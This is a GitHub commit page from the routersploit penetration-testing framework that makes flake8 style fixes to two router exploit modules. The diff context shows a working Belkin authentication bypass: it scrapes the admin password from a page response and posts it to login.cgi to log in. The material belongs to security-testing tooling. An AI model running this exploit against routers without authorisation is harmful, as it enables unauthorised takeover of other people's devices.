Skip to content

Commit

Permalink
Fixed flake8 violations
Browse files Browse the repository at this point in the history
  • Loading branch information
BigNerd95 committed Oct 3, 2016
1 parent 49df5b7 commit 901ed47
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 7 deletions.
9 changes: 4 additions & 5 deletions routersploit/modules/exploits/belkin/auth_bypass.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@
exploits,
print_error,
print_success,
print_table,
http_request,
mute,
validators,
Expand Down Expand Up @@ -46,11 +45,11 @@ def run(self):
if response is None:
return

val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces

if len(val):
url = "{}:{}/login.cgi".format(self.target, self.port)
payload = "pws="+val[0]+"&arc_action=login&action=Submit"
payload = "pws=" + val[0] + "&arc_action=login&action=Submit"

login = http_request(method="POST", url=url, data=payload)
if login is None:
Expand All @@ -61,7 +60,7 @@ def run(self):
if not error:
print_success("Exploit success, you are now logged in!")
return

print_error("Exploit failed. Device seems to be not vulnerable.")

@mute
Expand All @@ -72,7 +71,7 @@ def check(self):
if response is None:
return False # target is not vulnerable

val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces

if len(val):
return True # target vulnerable
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ def run(self):
if response is None:
return

val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces

if len(val):
print_success("Exploit success")
Expand All @@ -63,7 +63,7 @@ def check(self):
if response is None:
return False # target is not vulnerable

val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces

if len(val):
return True # target vulnerable
Expand Down

0 comments on commit 901ed47

Please sign in to comment.